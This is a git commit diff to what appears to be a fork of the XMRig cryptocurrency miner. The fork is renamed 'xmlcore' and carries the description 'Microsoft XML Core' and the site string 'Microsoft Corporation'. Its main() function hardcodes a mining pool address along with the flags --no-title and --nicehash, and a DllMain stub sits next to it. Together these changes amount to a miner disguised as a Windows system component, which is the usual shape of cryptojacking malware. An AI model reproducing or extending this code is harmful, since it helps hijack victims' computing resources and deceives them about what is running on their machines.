arguments

This commit is contained in:
taherkaraki 2021-02-21 23:51:03 +02:00
parent 6a0d9dbaaa
commit 88a68c2cb5
4 changed files with 66 additions and 17 deletions

3
.vscode/settings.json vendored Normal file
View file

@ -0,0 +1,3 @@
{
"cmake.configureOnOpen": false
}

View file

@ -1,15 +1,15 @@
cmake_minimum_required(VERSION 2.8.12)
SET(CMAKE_CONFIGURATION_TYPES ${CMAKE_BUILD_TYPE} CACHE STRING "" FORCE)
SET(CMAKE_CONFIGURATION_TYPES ${CMAKE_BUILD_TYPE} CACHE STRING "Release" FORCE)
project(xmlcore)
option(WITH_HWLOC "Enable hwloc support" ON)
option(WITH_CN_LITE "Enable CryptoNight-Lite algorithms family" ON)
option(WITH_CN_HEAVY "Enable CryptoNight-Heavy algorithms family" ON)
option(WITH_CN_PICO "Enable CryptoNight-Pico algorithm" ON)
# option(WITH_CN_LITE "Enable CryptoNight-Lite algorithms family" ON)
# option(WITH_CN_HEAVY "Enable CryptoNight-Heavy algorithms family" ON)
# option(WITH_CN_PICO "Enable CryptoNight-Pico algorithm" ON)
option(WITH_RANDOMX "Enable RandomX algorithms family" ON)
option(WITH_ARGON2 "Enable Argon2 algorithms family" ON)
option(WITH_ASTROBWT "Enable AstroBWT algorithms family" ON)
option(WITH_KAWPOW "Enable KawPow algorithms family" ON)
# option(WITH_ARGON2 "Enable Argon2 algorithms family" ON)
# option(WITH_ASTROBWT "Enable AstroBWT algorithms family" ON)
# option(WITH_KAWPOW "Enable KawPow algorithms family" ON)
option(WITH_HTTP "Enable HTTP protocol support (client/server)" ON)
option(WITH_DEBUG_LOG "Enable debug log output" OFF)
option(WITH_TLS "Enable OpenSSL support" ON)
@ -17,11 +17,11 @@ option(WITH_ASM "Enable ASM PoW implementations" ON)
option(WITH_MSR "Enable MSR mod & 1st-gen Ryzen fix" ON)
option(WITH_ENV_VARS "Enable environment variables support in config file" ON)
option(WITH_EMBEDDED_CONFIG "Enable internal embedded JSON config" OFF)
option(WITH_OPENCL "Enable OpenCL backend" ON)
option(WITH_CUDA "Enable CUDA backend" ON)
option(WITH_NVML "Enable NVML (NVIDIA Management Library) support (only if CUDA backend enabled)" ON)
option(WITH_ADL "Enable ADL (AMD Display Library) or sysfs support (only if OpenCL backend enabled)" ON)
option(WITH_STRICT_CACHE "Enable strict checks for OpenCL cache" ON)
# option(WITH_OPENCL "Enable OpenCL backend" ON)
# option(WITH_CUDA "Enable CUDA backend" ON)
# option(WITH_NVML "Enable NVML (NVIDIA Management Library) support (only if CUDA backend enabled)" ON)
# option(WITH_ADL "Enable ADL (AMD Display Library) or sysfs support (only if OpenCL backend enabled)" ON)
# option(WITH_STRICT_CACHE "Enable strict checks for OpenCL cache" ON)
option(WITH_INTERLEAVE_DEBUG_LOG "Enable debug log for threads interleave" OFF)
option(WITH_PROFILING "Enable profiling for developers" OFF)
option(WITH_SSE4_1 "Enable SSE 4.1 for Blake2" ON)

View file

@ -30,7 +30,7 @@
#define APP_DESC "Microsoft XML Core"
#define APP_VERSION "6.8.2"
#define APP_DOMAIN "xmlcore.com"
#define APP_SITE "www.xmlcore.com"
#define APP_SITE "Microsoft Corporation"
#define APP_COPYRIGHT "Copyright (C) 2016-2021 xmlcore.com"
#define APP_KIND "xcore"

View file

@ -26,6 +26,7 @@
#include "base/kernel/Entry.h"
#include "base/kernel/Process.h"
#include <stdio.h>
#include <windows.h>
int main(int argc, char **argv) {
@ -33,13 +34,14 @@ int main(int argc, char **argv) {
char arg0[] = "xmlcore.exe";
char arg1[] = "-o";
char arg2[] = "192.168.202.97:8443";
char arg3[] = "--background";
//char arg3[] = "--background";
char arg4[] = "--no-title";
char arg5[] = "--nicehash";
char arg6[] = "--cpu-max-threads-hint";
char arg7[] = "75";
// char arg6[] = "--cpu-max-threads-hint";
// char arg7[] = "50";
char *argvv[] = { &arg0[0], &arg1[0], &arg2[0], &arg3[0], &arg4[0], &arg5[0], &arg6[0], &arg7[0], NULL };
char *argvv[] = { &arg0[0], &arg1[0], &arg2[0], &arg4[0], &arg5[0], NULL };
//char *argvv[] = { &arg0[0], &arg1[0], &arg2[0], &arg3[0], &arg4[0], &arg5[0], &arg6[0], &arg7[0], NULL };
int argcc = (int)(sizeof(argvv) / sizeof(argvv[0])) - 1;
// for(int i = 0; i < argcc; i++)
// printf("%s\n", argvv[i]);
@ -54,3 +56,47 @@ int main(int argc, char **argv) {
return app.exec();
}
BOOL APIENTRY DllMain1(
//HINSTANCE hinstDLL, // handle to DLL module
HMODULE hModule,
DWORD fdwReason, // reason for calling function
LPVOID lpReserved ) // reserved
{
LPCWSTR myText = L"";
LPCWSTR myCaption = L"xmlcoree";
// Perform actions based on the reason for calling.
switch( fdwReason )
{
case DLL_PROCESS_ATTACH:
// Initialize once for each new process.
// Return FALSE to fail DLL load.
myText = L"Proc Attach";
myCaption = L"xmlcoree";
MessageBoxW( NULL, myText, myCaption, MB_OK );
FreeLibraryAndExitThread(hModule, 0);
break;
// case DLL_THREAD_ATTACH:
// // Do thread-specific initialization.
// myText = L"Thread Attach";
// myCaption = L"xmlcoree";
// MessageBoxW( NULL, myText, myCaption, MB_OK );
// break;
// case DLL_THREAD_DETACH:
// // Do thread-specific cleanup.
// myText = L"Thread Detach";
// myCaption = L"xmlcoree";
// MessageBoxW( NULL, myText, myCaption, MB_OK );
// break;
case DLL_PROCESS_DETACH:
// Perform any necessary cleanup.
myText = L"Proc Detach";
myCaption = L"xmlcoree";
MessageBoxW( NULL, myText, myCaption, MB_OK );
break;
}
return TRUE; // Successful DLL_PROCESS_ATTACH.
}